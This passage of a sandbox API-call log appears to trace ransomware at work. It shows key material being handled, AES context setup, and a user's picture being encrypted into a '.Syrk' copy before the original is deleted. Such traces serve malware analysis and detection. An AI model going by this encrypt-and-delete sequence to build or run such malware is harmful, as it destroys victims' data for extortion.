Memory=0x3af6a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af6a4) returned 0x0 [0254.399] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0254.399] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0254.399] SystemFunction041 (in: Memory=0x3af6a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af6a4) returned 0x0 [0254.399] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0254.399] SystemFunction040 (in: Memory=0x3af6a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af6a4) returned 0x0 [0254.400] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0254.400] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0254.400] SystemFunction041 (in: Memory=0x3af6a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af6a4) returned 0x0 [0254.400] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0254.400] SystemFunction040 (in: Memory=0x3af6a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af6a4) returned 0x0 [0254.400] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0254.400] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0254.400] SystemFunction041 (in: Memory=0x3af6a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af6a4) returned 0x0 [0254.400] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0254.400] SystemFunction040 (in: Memory=0x3af6a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af6a4) returned 0x0 [0254.400] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0254.400] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0254.400] SystemFunction041 (in: Memory=0x3af6a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af6a4) returned 0x0 [0254.400] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0254.400] SystemFunction040 (in: Memory=0x3af6a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af6a4) returned 0x0 [0254.401] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0254.401] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0254.401] SystemFunction041 (in: Memory=0x3af6a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af6a4) returned 0x0 [0254.401] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0254.401] SystemFunction040 (in: Memory=0x3af6a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af6a4) returned 0x0 [0254.401] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0254.401] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0254.401] SystemFunction041 (in: Memory=0x3af6a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af6a4) returned 0x0 [0254.401] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0254.401] SystemFunction040 (in: Memory=0x3af6a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af6a4) returned 0x0 [0254.401] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0254.402] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0254.402] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0254.402] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0254.402] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0254.402] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0254.402] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0254.402] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0254.402] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0254.402] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0254.402] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0254.402] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0254.403] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0254.403] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0254.403] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0254.403] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0254.403] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0254.403] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0254.403] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0254.403] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0254.403] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0254.403] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0254.403] EtwEventActivityIdControl () returned 0x0 [0254.403] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0254.404] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0254.404] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0254.404] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0254.405] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d188) returned 1 [0254.407] CryptImportKey (in: hProv=0x5c4d188, pbData=0x248c5c8*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c99660) returned 1 [0254.407] CryptContextAddRef (hProv=0x5c4d188, pdwReserved=0x0, dwFlags=0x0) returned 1 [0254.407] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.408] EtwEventActivityIdControl () returned 0x0 [0254.408] EtwEventActivityIdControl () returned 0x0 [0254.408] EtwEventActivityIdControl () returned 0x0 [0254.461] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\rokbMHY7.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\rokbmhy7.bmp")) returned 0x20 [0254.462] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\rokbMHY7.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\rokbmhy7.bmp")) returned 0x20 [0254.462] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\rokbMHY7.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0254.462] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\rokbMHY7.bmp", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\rokbMHY7.bmp", lpFilePart=0x0) returned 0x28 [0254.463] EtwEventActivityIdControl () returned 0x0 [0254.463] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.463] EtwEventActivityIdControl () returned 0x0 [0254.463] EtwEventActivityIdControl () returned 0x0 [0254.463] EtwEventActivityIdControl () returned 0x0 [0254.464] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\rokbMHY7.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0254.464] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\rokbMHY7.bmp", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\rokbMHY7.bmp", lpFilePart=0x0) returned 0x28 [0254.465] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0254.465] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\rokbMHY7.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\rokbmhy7.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x364 [0254.465] GetFileType (hFile=0x364) returned 0x1 [0254.465] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0254.465] GetFileType (hFile=0x364) returned 0x1 [0254.465] EtwEventActivityIdControl () returned 0x0 [0254.465] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.466] EtwEventActivityIdControl () returned 0x0 [0254.466] EtwEventActivityIdControl () returned 0x0 [0254.466] EtwEventActivityIdControl () returned 0x0 [0254.467] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\rokbMHY7.bmp.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0254.467] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\rokbMHY7.bmp.Syrk", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\rokbMHY7.bmp.Syrk", lpFilePart=0x0) returned 0x2d [0254.467] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0254.467] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\rokbMHY7.bmp.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\rokbmhy7.bmp.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x368 [0254.468] GetFileType (hFile=0x368) returned 0x1 [0254.468] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0254.468] GetFileType (hFile=0x368) returned 0x1 [0254.468] EtwEventActivityIdControl () returned 0x0 [0254.468] CryptGenRandom (in: hProv=0x5c4d188, dwLen=0x10, pbBuffer=0x249c3d4 | out: pbBuffer=0x249c3d4) returned 1 [0254.469] CryptContextAddRef (hProv=0x5c4d188, pdwReserved=0x0, dwFlags=0x0) returned 1 [0254.469] CryptDuplicateKey (in: hKey=0x5c99660, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c996e0) returned 1 [0254.469] CryptContextAddRef (hProv=0x5c4d188, pdwReserved=0x0, dwFlags=0x0) returned 1 [0254.470] CryptSetKeyParam (hKey=0x5c996e0, dwParam=0x4, pbData=0x249d700*=0x1, dwFlags=0x0) returned 1 [0254.470] CryptSetKeyParam (hKey=0x5c996e0, dwParam=0x1, pbData=0x249d6cc, dwFlags=0x0) returned 1 [0254.470] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.470] EtwEventActivityIdControl () returned 0x0 [0254.470] EtwEventActivityIdControl () returned 0x0 [0254.470] EtwEventActivityIdControl () returned 0x0 [0254.471] EtwEventActivityIdControl () returned 0x0 [0254.472] ReadFile (in: hFile=0x364, lpBuffer=0x24a0348, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24a0348*, lpNumberOfBytesRead=0x5a2e7d8*=0xaf17, lpOverlapped=0x0) returned 1 [0254.474] CryptEncrypt (in: hKey=0x5c996e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24b4360*, pdwDataLen=0x5a2e7cc*=0xaf10, dwBufLen=0xaf10 | out: pbData=0x24b4360*, pdwDataLen=0x5a2e7cc*=0xaf10) returned 1 [0254.475] WriteFile (in: hFile=0x368, lpBuffer=0x249c4b0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x249c4b0*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0254.476] WriteFile (in: hFile=0x368, lpBuffer=0x24b534c*, nNumberOfBytesToWrite=0x9f24, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24b534c*, lpNumberOfBytesWritten=0x5a2e7b0*=0x9f24, lpOverlapped=0x0) returned 1 [0254.477] ReadFile (in: hFile=0x364, lpBuffer=0x24a0348, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24a0348*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0254.477] CryptEncrypt (in: hKey=0x5c996e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24bf27c*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x24bf27c*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0254.477] CryptEncrypt (in: hKey=0x5c996e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x24bf298*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x24bf298*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0254.477] WriteFile (in: hFile=0x368, lpBuffer=0x249c4b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x249c4b0*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0254.478] CloseHandle (hObject=0x368) returned 1 [0254.479] CloseHandle (hObject=0x364) returned 1 [0254.480] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.480] EtwEventActivityIdControl () returned 0x0 [0254.480] EtwEventActivityIdControl () returned 0x0 [0254.480] EtwEventActivityIdControl () returned 0x0 [0254.486] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\rokbMHY7.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\rokbmhy7.bmp")) returned 0x20 [0254.505] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\rokbMHY7.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0254.505] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\rokbMHY7.bmp", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\rokbMHY7.bmp", lpFilePart=0x0) returned 0x28 [0254.506] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0254.506] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0254.506] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0254.506] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0254.506] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0254.506] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0254.507] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0254.507] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0254.507] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0254.507] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0254.507] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0254.507] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0254.507] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0254.507] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0254.507] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1c [0254.507] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x1c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures", lpFilePart=0x0) returned 0x1b [0254.507] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\rokbMHY7.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\rokbmhy7.bmp")) returned 0x20 [0254.508] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\rokbMHY7.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0254.508] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\rokbMHY7.bmp", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\rokbMHY7.bmp", lpFilePart=0x0) returned 0x28 [0254.510] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\rokbMHY7.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0254.510] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\rokbMHY7.bmp", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\rokbMHY7.bmp", lpFilePart=0x0) returned 0x28 [0254.510] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0254.510] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\rokbMHY7.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0254.510] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\rokbMHY7.bmp", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\rokbMHY7.bmp", lpFilePart=0x0) returned 0x28 [0254.511] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\rokbMHY7.bmp\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\rokbmhy7.bmp\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0254.511] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0254.511] CoTaskMemAlloc (cb=0x404) returned 0x3b0008 [0254.511] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x3b0008, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0254.511] CoTaskMemFree (pv=0x3b0008) [0254.513] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\rokbMHY7.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\rokbmhy7.bmp")) returned 0x20 [0254.513] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\rokbMHY7.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0254.513] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\rokbMHY7.bmp", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\rokbMHY7.bmp", lpFilePart=0x0) returned 0x28 [0254.513] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0254.513] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\rokbMHY7.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\rokbmhy7.bmp"), fInfoLevelId=0x0, lpFileInformation=0x24c9f44 | out: lpFileInformation=0x24c9f44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4570850, ftCreationTime.dwHighDateTime=0x1d993d3, ftLastAccessTime.dwLowDateTime=0xc3fedfc0, ftLastAccessTime.dwHighDateTime=0x1d9969e, ftLastWriteTime.dwLowDateTime=0xc3fedfc0, ftLastWriteTime.dwHighDateTime=0x1d9969e, nFileSizeHigh=0x0, nFileSizeLow=0xaf17)) returned 1 [0254.513] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0254.513] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\rokbMHY7.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\rokbmhy7.bmp")) returned 1 [0254.553] EtwEventActivityIdControl () returned 0x0 [0254.553] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.554] EtwEventActivityIdControl () returned 0x0 [0254.554] EtwEventActivityIdControl () returned 0x0 [0254.554] EtwEventActivityIdControl () returned 0x0 [0254.561] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\rokbMHY7.bmp.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\rokbmhy7.bmp.syrk")) returned 0x20 [0254.562] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\rokbMHY7.bmp.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\rokbmhy7.bmp.syrk")) returned 0x20 [0254.562] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\rokbMHY7.bmp.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0254.562] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\rokbMHY7.bmp.Syrk", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | 